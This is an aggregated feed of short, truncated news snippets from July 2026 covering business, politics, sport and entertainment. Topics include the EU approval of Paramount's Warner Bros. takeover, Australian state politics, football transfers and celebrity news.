MANILA, Philippines With Metro Manila’s historic P85 daily wage increase set to take effect this week, a group of financial executives said the government’s next challenge is pursuing reforms that would prevent higher labor costs from weakening job creation and spilling over into inflation. In a statement, the Financial Executives Institute of the Philippines (Finex) said […]...Keep on reading: Finance execs call for reforms to preserve wage hike gains

MANILA, Philippines — State-run Government Service Insurance System (GSIS) has increased its stake in Megawide Construction Corp. to 9.5 percent after acquiring nearly 112 million shares through a series of block transactions, strengthening its position as one of the company’s largest local institutional investors. The construction and engineering company said on Wednesday that GSIS bought a […]...Keep on reading: GSIS raises stake in Megawide to 9.5%

Topline The European Union on Wednesday approved Paramount Skydance’s $110 billion takeover of Warner Bros. Discovery, clearing a major regulatory hurdle even as the deal faces pushback in the U.S. over concerns the agreement violates antitrust law. A federal judge paused the merger, ruling states had raised “serious questions” about antitrust law. NurPhoto via Getty Images Key Facts The European Commission said in a statement Paramount’s deal for Warner Bros. was approved after Paramount agreed to concessions that regulators said “fully address” competition concerns. Paramount agreed to divest its stake in a film distribution joint venture with…

European Union antitrust regulators said on Wednesday they had signed off on Paramount Skydance's proposed acquisition of Warner Bros. Discovery. The approval, which included concessions made by Paramount, comes as the deal has been delayed in the U.S. due to concerns raised by state attorneys general. A Paramount spokesperson didn't immediately respond to comment. In order to garner the approval, the European Commission said Paramount agreed to divest its stake in a film distribution joint venture with United International Pictures in Europe, and said it would not enter into any film distribution deal with Universal for the next 10 years in Europe.…

Anthropic leaped to a $47 billion revenue run rate by May, compared to $9 billion in 2025. It’s the kind of growth that Menlo Ventures’ Matt Murphy says he’s never seen in 25 years of investing, not in the internet wave, not in mobile, not in the first cloud boom. Menlo led Anthropic’s $500M Series D, and Murphy has had a front-row seat as the company went from a pre-revenue, pre-launch bet to one of the most valuable startups out there. On this episode of TechCrunch’s Equity podcast, Julie Bort talks with Murphy about backing Anthropic before anyone else would, why a great model was never the point, and what’s driving the fastest-growing startups…

Aston Martin has secured £550m in loans as it attempts to boost its finances. The luxury car maker has been struggling in recent years and in March announced it would cut about 600 jobs, as last year's net losses leapt by a little over 50% to £493.2m. The firm has blamed the effects of US tariffs and weak demand in China. Its half-year results are set to be published on 29 July, but on Wednesday the firm announced loans that it said would bolster its balance sheet and fund future product plans. Headquartered in Gaydon, Warwickshire, most of the job cuts were thought to affect sites in the UK, where the majority of its staff are based. The company…

Washington — Another deadline to fund the government is looming this fall in Congress, with members fresh off a series of shutdown fights that have left them eager to avoid another costly impasse ahead of the midterm elections. But as lawmakers warn about the coming funding cliff, they have yet to agree on a path forward. Current funding expires at the end of the fiscal year on Oct. 1. Last week, as the House appeared poised to move on a stopgap measure to keep the government funded, across the Capitol in the Senate, Majority Leader John Thune told CBS News that "we are in discussions on that," noting that "we're working on solutions to fund the…

Activists and celebrities came together in solidarity with the ongoing student protests in New Delhi, triggered by the NEET question paper leak, as a series of demonstrations were held in Kochi on Wednesday. Protest meetings were organised at Maharaja’s College, Panampilly Nagar and Kacheripady by different groups in solidarity with the Cockroach Janata Party-led agitation in Delhi. Addressing a protest meeting at Maharaja’s College, organised by the college union under the banner “In Solidarity with the Youth of the Nation,” writer N.S. Madhavan said he was deeply concerned over the alleged involvement of masked civilians supporting the Central…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Labour MP Stella Creasy has been ridiculed after mistaking one of London's famous parakeets for a lost pet parrot. The MP for Walthamstow posted a video to Instagram yesterday afternoon with the caption: 'Have you lost a parrot in Walthamstow? Please share!' commenting that the bird was 'too big to be a parakeet'. Her 231,000 followers were left bemused after she then filmed one of the recognisable local birds – with green feathers and a red beak – in Lloyd Park, north London. There are around 30,000 to 50,000 ring-necked parakeets living in and around London, with hotspots in Richmond Park, Hampstead Heath and Regent's Park after self-sustaining…

Brazil · Business Key Facts —New deadline. Individuals and rural producers must obtain a CNPJ técnico by January 1, 2027, not July 2026. —Who is affected. Self-employed persons and rural producers who issue fiscal documents under the IBS/CBS system. —What changes. The CNPJ técnico is a technical registration number, not a full corporate entity, needed to issue electronic invoices. —Court ruling. A TRF-3 order suspended an IRPJ/CSLL tax increase, blocking enforcement against affected taxpayers. —Official reason. The Receita Federal cited the need for a simplified online registration system and taxpayer adaptation time. Brazil’s tax reform transition…

Listen to this article Estimated 2 minutes The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. A coalition of civil society groups is pushing back against criticism by a federal cabinet minister and Jewish organizations of an exhibit on Palestinian displacement at a national museum in Winnipeg. The Canadian Museum for Human Rights, a federal Crown corporation in Winnipeg, has faced a torrent of criticism over its exhibit on the Nakba — Arabic for "catastrophe." It's the term Palestinians use to describe Israel's declaration…

Argentina · Politics Key Facts —Who spoke. Former Argentine Army chief Diego Luis Suñer made the remarks on 2 June 2023, the anniversary of the 1982 war. —What he said. Suñer called the Malvinas a permanent and non-negotiable national objective for Argentina. —Government position. President Javier Milei reaffirmed the sovereignty claim while calling for mature dialogue with the UK. —UK response. Downing Street said sovereignty rests with the UK and the islanders’ right to self-determination is paramount. —Why it matters. The dispute remains tied to Argentine nationalism and the memory of the 1982 conflict. The Malvinas remain “a permanent and…

Rep. Marie Gluesenkamp Perez called out fellow Democrat, Rep. Jesus "Chuy" Garcia, for "undermining the process of a free and fair election." NEWYou can now listen to Fox News articles! Democratic Washington Rep. Marie Gluesenkamp Perez’s push to confront cognitive decline in Congress is finding rare common ground among liberals and conservatives frustrated with Washington’s aging political class. "In every job I've ever had, there's a simple expectation," the congresswoman said in a video posted to X on Monday. "You actually have to be able to do the work. Either you can do it or you can't. And Congress shouldn't be any different." Gluesenkamp Perez…

Union Health Minister J.P. Nadda addresses a press conference at BJP headquarters in New Delhi, July 22, 2026. \| Photo Credit: PTI Union Minister J.P. Nadda on Wednesday (July 22, 2026) urged the Leader of Opposition (LoP) in the Lok Sabha, Rahul Gandhi, not to be “selective” in citing paper leak cases, saying that such a serious issue should not be exploited for political mileage. He said the government was ready for an in-depth discussion in Parliament, which he described as the most appropriate forum to collectively find lasting solutions. At a late-evening press conference, Mr. Nadda said: “Students have raised concerns regarding paper leaks. I…

External affairs minister S Jaishankar underlined the significance of fair market access, trade balance and supply chain reliability in a meeting with his Chinese counterpart Wang Yi, while welcoming recent measures to normalise Sino-Indian ties like the upgrading of the visa framework and resumption of direct flights, Kailash pilgrimage and border trade. In a meeting in Manila on the margins of ASEAN events, Jaishankar also stressed that border peace and tranquility will remain a prerequisite for normal ties. Ahead of the BRICS summit India will host in September, he thanked Wang for China's support for India's presidency. While a final confirmation…

Canada’s premiers are knocking down a key interprovincial trade barrier that will — in some ways — make it easier for Canadians to buy alcohol from another province. But some experts say it’s only the first step in bringing more choice to consumers and won’t mean consumers will see a wider range of products when they go to a liquor store. The premiers of nine provinces announced Tuesday that they’re removing major barriers to interprovincial sales of alcohol to allow brewers and distillers to sell alcohol directly to consumers regardless of jurisdiction. Tuesday’s deal stems from a memorandum signed by all the provinces and the Yukon in 2025 to take…

‘Unlawful’: Insider claims deepen ministerial interference mire for premier over Big Build Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA The state Labor government secretly backed disgraced CFMEU boss Joe Myles as he engineered his union’s takeover of a key rail level crossing removal project in 2022, according to allegations contained within detailed statements project insiders have prepared for authorities. One of the insiders wrote a memo at the time stating that the consortium carrying out the project, comprising John Holland and CPB, was warned that unless it buckled to CFMEU demands,…

July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA A party headquartered in a nondescript brick building in North Gosford, with no leader, no endorsed candidates and no policies, is already dictating terms in the build-up to the next NSW election. One Nation is a bit of an enigma in NSW. While Pauline Hanson can’t scratch herself without a Spotlight special, the famously top-down control of the party from its Queensland mothership – and its focus on federal politics – means it has very little presence in the cut and thrust of Macquarie Street. Chris Minns’ Labor confronts…

July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Bitter rivals? Brothers and sisters in arms in the cause of the political right? Frenemies? How best to characterise the relationship between the Coalition parties and One Nation? It’s not easy to land on the right description. Are they opposed profoundly to each other on policy grounds and their respective visions for Australia or are the areas of overlap more considerable than the differences? Angus Taylor gave an important speech to the Sydney Institute this month in which he excoriated One Nation. After dancing around…

‘A backyard for Sydney’: The surprise deal to raze Wentworth Park this year Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Bulldozers will raze the Wentworth Park greyhound track by the end of the year under a surprise expedited deal which paves the way for an urban renewal project roughly the size of Darling Harbour. The Minns government will on Thursday announce that the NSW Greyhound Breeders Owners and Trainers Association has requested and been granted an early termination of its lease over the site, with the final greyhound meet in metropolitan Sydney to be held in October – one year…

July 23, 2026 — 5:00am Save You have reached your maximum number of saved items. Remove items from your saved list to add more. AAA Where shall I start? Where can I end? The gods have given me so much to cry about. But finally, after years of torment, it is hip to be Homer. Not even Prometheus, the god of forethought, saw that one coming. An epic tale of Homer’s Odyssey is playing out on cinema screens and in Australian politics. Illustration by Matt Davidson You’ll see at the top of this column a ponderous byline, complete with roman numeral. It’s the name I was given at birth but have rarely used, other than to apply for passports and complete tax…

President Volodymyr Zelensky stated that the new military leadership is preparing to modernize the Ukrainian Defense Forces, a process that must proceed in a coordinated manner so as not to give Russia any opportunity to exploit the changes. The head of state made this announcement during an evening address on Telegram, according to Ukrinform. “We have agreed that the modernization of the Ukrainian Defense Forces will be prepared. It is important that everything proceeds in a perfectly coordinated manner and that the Russians are not given even the slightest opening or opportunity. Russia must feel increasing pressure and increasingly stringent…

Iranian Foreign Minister Abbas Araghchi said any aggression against Iran would draw a “powerful and decisive” response, adding that those who contributed to such an attack would also be considered legitimate targets.

Kano State Governor, Abba Kabir Yusuf, says the state is ready for the creation of a state police system, describing it as an important step towards improving security and protecting lives and property. The governor made the statement on Wednesday while inaugurating the Inter-Agencies Task Force on Drug Abuse and Trafficking at the Government House in Kano. His spokesperson, Sunusi Bature Dawakin Tofa, disclosed this in a statement. Yusuf said a state police force would work alongside the Nigeria Police Force, not replace it. According to him, both security bodies would share the responsibility of protecting lives and property, maintaining law and…

Peru · Business Key Facts —Alliance joined. Peru became the 19th member of the Future of Investment and Trade (FIT) Partnership on 18 July 2026 in Auckland. —Other new members. South Korea and Thailand also joined the same day, expanding the group's reach across Asia and Latin America. —What it is not. The FIT Partnership is not a formal treaty; it carries no binding legal obligations and has no permanent secretariat. —French investment anchor. French firms operating in Peru directly sustain roughly 35,000 jobs, concentrated in retail, infrastructure, and energy. —Digital focus. Peru will co-develop shared standards for digital trade documents and…

A 'mindless' influencer has been blasted for dumping a bath at the top of a 3000ft mountain in the Brecon Beacons. Tom Christopher, 35, carried the tub up Pen y Fan- the highest peak in South Wales- in an attempt to break the record for the 'world's highest bath' and had planned to leave it there for 48 hours. He said: 'I just wanted to do something crazy and make a funny, cool video showing me taking a bath up Pen y Fan whilst watching the sunset.' After filming himself manoeuvring the heavy household object up the peak on Thursday, July 16, Mr Christopher said he put up signs at the bottom of the mountain asking people to help him fill up the bath…

Ned Michaels explains the friction that has been growing between Rory McIlroy \& Bryson DeChambeau For most sports and golf fans, the PGA TOUR season effectively ended last week after The 154th Open Championship, golf's final major of the year. However, there are no weeks off for us golf-betting degenerates, and the money won at this week's 3M Open at TPC Twin Cities in Blaine, Minnesota, is still green. TPC Twin Cities is a classic Midwest birdie-fest designed by Arnold Palmer, where low scores are mandatory. With water hazards lurking on 15 holes, driving accuracy and precise iron play are crucial. While the bentgrass greens are gentle, spraying off…

Darts star has to be helped off stage after suffering health scare during World Matchplay clash as he's forced to withdraw from tournament By MICHAEL PAVITT, SPORTS REPORTER Published: 15:06 EDT, 22 July 2026 \| Updated: 15:20 EDT, 22 July 2026 Darts star Cameron Menzies was helped off stage after falling unwell during the World Matchplay Darts. Menzies had been leading Ross Smith in his second round match when he appeared to sway and look faint on stage. He was seen speaking to a tournament official and bent over, before being helped off by Smith. 'We are having a break in our first match because Cameron Menzies is unwell,' presenter Emma Paton told…

Rep. Jasmine Crockett, D-Texas, claimed that Argentina has a "racist history" that prompted World Cup fans to root against the country. (Credit: House Oversight Committee) NEWYou can now listen to Fox News articles! Progressive Rep. Jasmine Crockett, D-Texas, is garnering widespread mockery for her "delusional" claim that FIFA World Cup fans rooted against Argentina due to the country’s "racist history." During a House Oversight and Government Reform Subcommittee hearing on Tuesday, Crockett remarked that the World Cup "captured the imaginations of the entire world when they saw all of these people of color that was playing for all these teams."…

Host of 'The Sage Steele Show' Sage Steele criticizes WNBA officiating and its impact on Caitlin Clark. She argues the league's mishandling of Clark and consistent no-calls for egregious fouls are detrimental to the sport. Caitlin Clark’s popularity has reached a new level. It’s no longer noteworthy simply because she delivers another massive television audience. Now, major networks are simultaneously claiming that they carried the most-watched WNBA game of the season. Of course, both games included Clark and the Indiana Fever. CAITLIN CLARK DECLINES WNBA 3-POINT CONTEST INVITATION, DEALING MAJOR BLOW TO ALL-STAR WEEKEND AND ESPN CBS Sports announced…

That day is still fresh in memory. Because that innings is fresh in memory. The winter was setting in at Raipur. The Shaheed Veer Narayan Singh Stadium, some 20 kms away from the city, looked more imposing than usual as it was virtually empty. There were hardly any spectators for the Senior Women’s T20 Challenger Trophy back in 2022. It was a pity that Yastika Bhatia’s unbeaten 99 for India-D against India-C was watched only by a few. It was a masterclass in T20 batting. She was technically correct, played proper cricketing shots, chose the right balls to hit, and struck at a rate of 162. The only thing she got wrong was counting the balls: otherwise,…

As we adjust our body clocks from the FIFA World Cup, you would do well to stay a little out of whack as the 2026 Commonwealth Games kicks off in Glasgow. It's been an unusually rocky road for the sporting carnival, so here's what you need to know. When are the Glasgow Commonwealth Games on? The 2026 Commonwealth Games start on July 23 and run through until August 2 (the early hours of August 3 in Australia). The first event of the Games takes place on Day Zero, with an extra session of bowls and para bowls added to the schedule (from 6:30pm AEST July 23 to 1:25am July 24) due to "unprecedented demand". Whether you are you a family member, a friend, a…

Former Super Eagles midfielder, Seyi Olofinjana, has shared his thoughts on being left out of Nigeria’s squad for the 2010 FIFA World Cup, saying that no one even cared to explain his omission despite his significant contributions during the qualification process. Olofinjana, who represented the Super Eagles 48 times from 2000 to 2011, expressed his disappointment at missing the tournament, particularly after having captained the team in several qualifying matches. In an interview on the Play Zone podcast, the former Hull City midfielder expressed his confusion regarding the decision, emphasizing that neither the coaching staff nor the Nigeria…

By JAKE FENNER, US SPORTS WRITER Published: 12:11 EDT, 22 July 2026 \| Updated: 14:57 EDT, 22 July 2026 A Chicago Cubs fan who smacked another spectator who did not stand for The Star-Spangled Banner is speaking out after a video of the incident went viral. The video drew strong and divided reactions on social media, with public opinion split on the older man's actions. Now, he has spoken out on the incident, which happened during the 10-1 win against the Minnesota Twins at Wrigley Field on Sunday, in various interviews. Robert Chavez claimed that an important element of the story is missing. In the video, he is seen yelling at the younger man - who…

Chelsea are set to announce a new contract for youngster Shim Mheuka at Stamford Bridge before he embarks on a loan for the 2026/27 season, as reported by football.london. The 18-year-old forward has less than a year remaining on his current contract, with an option for an additional year, but sources indicate that the striker is nearing an agreement with the Blues. Once Mheuka finalizes his new terms at Cobham, the highly regarded academy forward is expected to be loaned out for the upcoming season. Numerous clubs from Europe’s top five leagues, along with EFL teams, have expressed strong interest in acquiring Mheuka on loan. Chelsea are anticipated…

Rangers intend to contest a four-match touchline ban given to manager Derek McInnes for describing as "disgusting" the decision to award Celtic a late penalty at Motherwell in May. The comments, made at the end of last season when McInnes was in charge of Hearts, related to a stoppage-time spot-kick for handball that was converted by Kelechi Iheanacho. Celtic's 3-2 victory at Fir Park on 13 May kept them one point behind Hearts, who they beat to the title a few days later in a final-day decider. Responding to the Scottish FA penalty, which is an immediate three-game ban with one suspended until the end of the season, Rangers say the remarks were…

Arsenal have turned their attention to RB Leipzig forward, Yan Diomande and have made inquiries regarding the 19-year-old, as reported by football.london. The club has been actively seeking an upgrade for the left wing, with Diomande being one of the players under consideration. Mikel Arteta’s team is among several clubs keen to stay updated on the situation of the Ivorian international. The Gunners have faced setbacks in their pursuit of new wide players, particularly after losing out on Morgan Rogers to Chelsea for £117 million. Rogers opted for the West London club despite Arsenal’s prolonged interest, as they were unable to meet the asking price,…

Philadelphia Phillies J.T. Realmuto makes a Little Little-esque blunder during a rundown to make the final out. (This video contains AI-assisted content) NEWYou can now listen to Fox News articles! Every once in a while, a big leaguer looks like a little leaguer on the diamond. Unfortunately for the Philadelphia Phillies, star catcher J.T. Realmuto’s Little League-esque blunder ended the game. In the bottom of the ninth inning of the Phillies’ 2-1 loss to the Los Angeles Dodgers on Tuesday at Citizens Bank Park, the Phillies had runners on second and third with one out. CLICK HERE FOR MORE SPORTS COVERAGE ON FOXNEWS.COM Los Angeles Dodgers shortstop…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Chelsea has received a transfer offer from Aston Villa for their winger Alejandro Garnacho, as reported by Fabrizio Romano. Garnacho faced a challenging first season at Stamford Bridge after his £40 million transfer from Manchester United last summer, managing to score only once in the Premier League. The Argentina international was previously regarded as one of the most promising talents at Old Trafford, but his career at United faltered due to conflicts with several managers. Garnacho aimed to rejuvenate his career at Chelsea, the club he supported during his youth, yet he found it difficult to make a significant impact under both Enzo Maresca and…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Inter Miami have signed Casemiro as a free agent, but Major League Soccer is investigating the South Florida side for potential tampering in the process of acquiring the Brazilian midfielder. Casemiro has signed what amounts to a one-year contract with Miami, beginning now and ending at the conclusion of the 2027 “sprint season” that precedes the league’s switch to a fall-to-spring calendar in 2027-28. There is an option for an extension that would see the Brazilian stay in Miami through the 2028-29 MLS season. Both the club and league announcement said that Inter Miami had acquired the discovery rights to Casemiro from the Los Angeles Galaxy. The…

Lionel Messi's popularity among British people has plummeted after Argentina's shameful World Cup antics. Messi is now viewed unfavourably among almost half of the participants surveyed by YouGov. It comes after Argentina's baseless behaviour at the tournament, which ended with them losing 1-0 to Spain in the final and starting fights with the opposition. Enzo Fernandez was sent off in normal time and Leandro Paredes was lambasted for attacking Eric Garcia and Gavi after the match. Even Messi was dragged into their pathetic antics in the final, attempting to get Marc Cucurella sent off for briefly putting his hand over his mouth. As per FIFA's rules…

Check out the best moments from the NTT INDYCAR SERIES: Borchetta Bourbon Music City Grand Prix at Nashville Superspeedway with commentary from Will Buxton, Townsend Bell and James Hinchcliffe! The NTT IndyCar grid is going to look a little different in 2027 with news that the first sale of an IndyCar charter has been completed, and it will bring a new team to the grid. Albeit one that fans are very familiar with. On Wednesday, it was announced that Rahal Letterman Lanigan Racing had agreed to sell one of its three charters to Drewy \& Reinbold Racing, with the transaction subject to IndyCar approval. TRUMP TOUTS INDYCAR DRIVERS' 'SPECIAL' ABILITY AT…

Nigeria’s Super Falcons will face Tanzania in a pre-2026 Women’s Africa Cup of Nations friendly on Thursday. The encounter will hold at the Lenoria Sports Complex in Casablanca. It will kick-off at 6pm local time. The friendly will give the Super Falcons the chance to test their readiness for the WAFCON 2026 finals. Justine Madugu’s side were earlier scheduled to take on the Black Queen of Ghana in a friendly last Saturday, but it was called off d due to unforseen circumstances. They will hit Rabat for the competition this weekend. The Super Falcons will face the Scorchers of Malawi in their opening fixture next week Tuesday .

Nigerian music executive, Soso Soberekon, has traditionally tied the knot with his lover. Announcing the good news on Wednesday evening in an Instagram post, Soso disclosed that he has been taken. He wrote, “I have beeen taken,” as he accompanied the announcement with the hashtag #Sobeau2026. The announcement has drawn warm reactions from Nigerians, including his colleagues in the entertainment industry. Singer Tiwa Savage wrote, “Huge congratulations.” Singer Kcee wrote, “Congratulations to you, my brother.” Obi Cubana wrote, “Congratulations, big Soso.” Brother Shaggi wrote, “Congratulations, brother.” AY Comedian wrote, “Congratulations, bro. We…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Elon Musk made headlines overnight when he expressed interest in funding a hypothetical film production of The Odyssey directed by Mel Gibson. The billionaire quickly pivoted to a pledge to just make the same feature-length movie with his AI tool Grok and shared an example of what that might look like. As you can probably guess, it looks like dogshit. Musk has spent recent weeks complaining about Christopher Nolan’s new version of The Odyssey, which has raked in over $300 million globally since its blockbuster debut last weekend. The Tesla CEO and his legion of whiny man-babies believe the film is too woke since it contains non-white actors and a…

‘First show’ tickets had been sold for as high as ₹500 to ₹700 in certain pockets of Tamil Nadu. Despite having been leaked online ahead of its theatrical release, Jana Nayagan, starring Chief Minister C. Joseph Vijay, has witnessed strong advance ticket sales across Chennai and its neighbouring districts, though the response has been mixed in other parts of Tamil Nadu. While some cinemas reported a full house over the weekend, others said bookings were highest for the opening day, with Friday witnessing a comparatively low demand. Cinema owners added that bookings had been driven largely by members of the Tamilaga Vettri Kazhagam (TVK), youngsters…

When you’re looking for a great miniseries to binge over a weekend, your first stop is most likely HBO Max for shows like Watchmen and True Detective, or Netflix, for the likes of The Haunting of Hill House and Midnight Mass. But while Disney Plus has not been one to brand itself as the home of great limited series, there are still some truly perfect miniseries on the streamer. Thanks to Disney owning the likes of Hulu, Star Wars, Marvel, and numerous other properties, it boasts a pretty impressive array of limited series under its umbrella. Here are seven miniseries that are absolutely perfect from start to finish. 1 WandaVision The Marvel Cinematic…

In some ways, the omnipresence of mystery in everyday life can be comforting. Why is it always cold at the end of the hallway? How did my cat make that noise at 2 in the morning? Why does my car’s brake light keep going out on the driver’s side? Sure, there may be explanations, but I’m not going to be the one to get to the bottom of this. I didn’t grow up watching Ghostbusters aspirationally. Today’s gossip raises the age-old question: Who you gonna call? If your house might actually be haunted and your kids are freaking out, you’d better come up with an answer. Our guest this week is Amber Singletary, a comedian, writer and host of the Judgy series…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Harrowing new photos have emerged of the aftermath of Kaylee Hottle's fatal car crash on Tuesday. The deaf actress, 18, was a passenger in a 1995 Honda Accord that veered off the road and slammed into a ditch on Tuesday, with speed playing a factor according to local law enforcement. Hottle's death was confirmed by her father. Two others were in the vehicle at the time, and both survived the accident. The driver, 19, suffered non-life-threatening injuries, while another passenger did not receive treatment at the scene, according to the Frederick County Sheriff’s Office. Kaylee played a young girl who could communicate with King Kong using sign…

Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Listen to this article Estimated 3 minutes The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. Brad Pitt and Angelina Jolie's daughter Vivienne wants to legally remove "Pitt" from her last name. She's the latest of their six kids to legally file to drop their father's surname. According to documents obtained by CBC News, she filed a petition with the Los Angeles County Superior Court to change her legal name from Vivienne Marcheline Jolie-Pitt to Vivienne Marcheline Jolie. She signed the request on July 12 — her 18th birthday…

A year after his death, The Cosby Show actor Malcolm-Jamal Warner’s widow, Tenisha Warner, is suing his mother, Pamela Warner, for US$1.2 million over alleged breach of contract involving the couple’s prenuptial agreement. Tenisha filed the lawsuit in DeKalb County Superior Court in Georgia, naming his mother as one of the defendants, who is the successor trustee of the Warner Family Trust. In the lawsuit, obtained by NBC News, ABC News and People, Tenisha alleges that she and Warner married on May 23, 2022, and signed a premarital agreement eight days prior. 1:06 ‘The Cosby Show’ star Malcolm-Jamal Warner dies after tragic drowning Global News has…

The arrival of Doctor Doom in Avengers: Doomsday is only months away, but fans are already asking questions about Avengers: Secret Wars. The next Avengers film after Doomsday is set to pave the way for massive changes to the Marvel Cinematic Universe, but don't call it a reboot. Following comments about the comic inspirations for Secret Wars, Marvel boss Kevin Feige is giving a little more insight into just exactly what the MCU will look like after the sixth Avengers film is released in 2027. Feige recently denied that the MCU will undergo a reboot during an interview with Happy Sad Confused's Joshua Horowitz. He notes that, as always, Marvel is…

Charles Gaines, the author whose book and documentary Pumping Iron helped bring professional bodybuilding into the mainstream and introduce Arnold Schwarzenegger to the world, has died. He was 84. Gaines died Tuesday, according to Greta Gaines, the author’s daughter. She did not reveal a cause. “You always marched to your own drummer and inspired everyone around you to do the same,” she wrote in a tribute to her father. “Follow that bliss, catch that fish and kiss those lips while you can because my father was the live life to the fullest kinda guy.” Gaines collaborated with George Butler to write Pumping Iron: The Art and Sport of Bodybuilding, which…

TEHRAN – Four films from Iran will compete in the 30th Flickers' Rhode Island International Film Festival (RIIFF), which will be held in Rhode Island, the US, from August 4 to 9. The Iranian films participating in the festival include “My Daughter's Hair” directed by Hesam Farahmand, “White Flag” by Parviz Rostami, “Hide \& Seek” by Fatah Minoobakhsh, and “The 80 Blows” by Alireza Abbasi, Honaronline reported. “My Daughter's Hair” is a 2025 narrative drama about Raha, a teenage girl who is studying animation, but when she is about to submit her university project, her laptop is stolen, and she is forced to cut her hair and sell it to buy a new laptop.…

DC Studios' upcoming Clayface movie just got a new trailer, and it’s not for the faint of heart. The movie, based on the shapeshifting Batman villain, is described as a “horror thriller,” with mutilation, grotesque transformations, and other unsettling sights in store. That includes the man known as Clayface taking a pair of grooming scissors to his own eyes while in an airplane bathroom rocked by turbulence. Clayface centers on Matt Hagen (Tom Rhys Harries), a Gothamite who becomes a Hollywood leading man until a local crime syndicate disfigures his face. Abandoned by the criminal justice system and his closest colleagues, Hagen looks for extreme…

Listen to this article Estimated 1 minute The audio version of this article is generated by AI-based technology. Mispronunciations can occur. We are working with our partners to continually review and improve the results. American YouTube star Jimmy Donaldson, known online as MrBeast, has married content creator Thea Booysen. The two announced their marriage on social media on Tuesday. They were engaged in December 2024. Donaldson, 28, is YouTube’s most-followed creator, with over 500 million subscribers on his main channel alone. His six alternate accounts, including MrBeast Gaming and Beast Reacts, have nearly 200 million subscribers between them.…

A French professional model recruiter who for over a decade arranged for the late sex offender Jeffrey Epstein to meet multiple models, was found dead in his home near Paris on Monday. Daniel Siad’s body was found in his house in Colombes, a suburb of the French capital, Marie-Céline Lawrysz, deputy public prosecutor at the Nanterre Judicial Court, told CNN in a Wednesday statement. An autopsy will be performed on the body to determine the cause of death. CNN’S Katie Polglase recently interviewed Siad, who said he had no reason to believe two women he had recommended to Epstein – and who had told CNN that Epstein had abused them – had been harmed by…

In news that assures us that we are truly living in one of the worst timelines, Elon Musk has announced on X, the social media platform he owns, that Grok Imagine, the AI generator he owns, will make a "historically accurate" adaptation of Homer's The Odyssey. You might well ask why if you have had the good fortune to be oblivious to Musk's repeated complaints about Christopher Nolan's The Odyssey. Well, in February of 2026, Musk used X to declare "Chris Nolan has lost his integrity," because Musk didn't like the casting of Lupita Nyong’o as Helen of Troy. Then, in May, Musk retweeted X posts that criticized the casting of Elliot Page, including posts…

After Superman and Supergirl, the DC Universe is going in a much different direction with Clayface. The body horror movie is coming to theaters this October, and is shifting the newly launched superhero universe away from the heroics and into a truly disgusting villain origin story. The first teaser we got earlier this year was pretty gross, but the latest trailer starts getting even more details, with some scenes that already make my skin crawl. Clayface stars The Gentlemen actor Tom Rhys Harries as its titular villain, who is disfigured by local criminals just as his acting career has hit its prime. In an effort to reclaim his Hollywood good looks,…

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The latest headlines from our reporters across the US sent straight to your inbox each weekday Your briefing on the latest headlines from across the US Your briefing on the latest headlines from across the US A money manager for singer D4vd testified Wednesday that he knew only Celeste Rivas Hernandez’s first name before the 14-year-old’s dismembered body was discovered in the trunk of a car. Benjamin Gregor’s testimony came during the second day of a Los Angeles preliminary hearing, where a judge is weighing whether there is enough evidence to send D4vd, whose legal name is David Burke, to trial on charges including murder, continuous sexual abuse of…

Colombia · Culture Key Facts —What is RENT? A Pulitzer Prize and four-time Tony Award-winning rock musical by Jonathan Larson about a year in the life of a group of struggling young artists in New York City. —When does it run? August 7 through August 28, 2026, as a limited special season. —Where is the venue? Centro Cultural Gimnasio Moderno, Carrera 9 # 74-99, in the heart of Bogotá. —Who is producing it? A local Colombian production by 2 Productores, not a touring international company. —How much are tickets? Prices range from US$21 to US$57, depending on seating. RENT is coming to Bogotá for the very first time in 2026, bringing a landmark piece of…

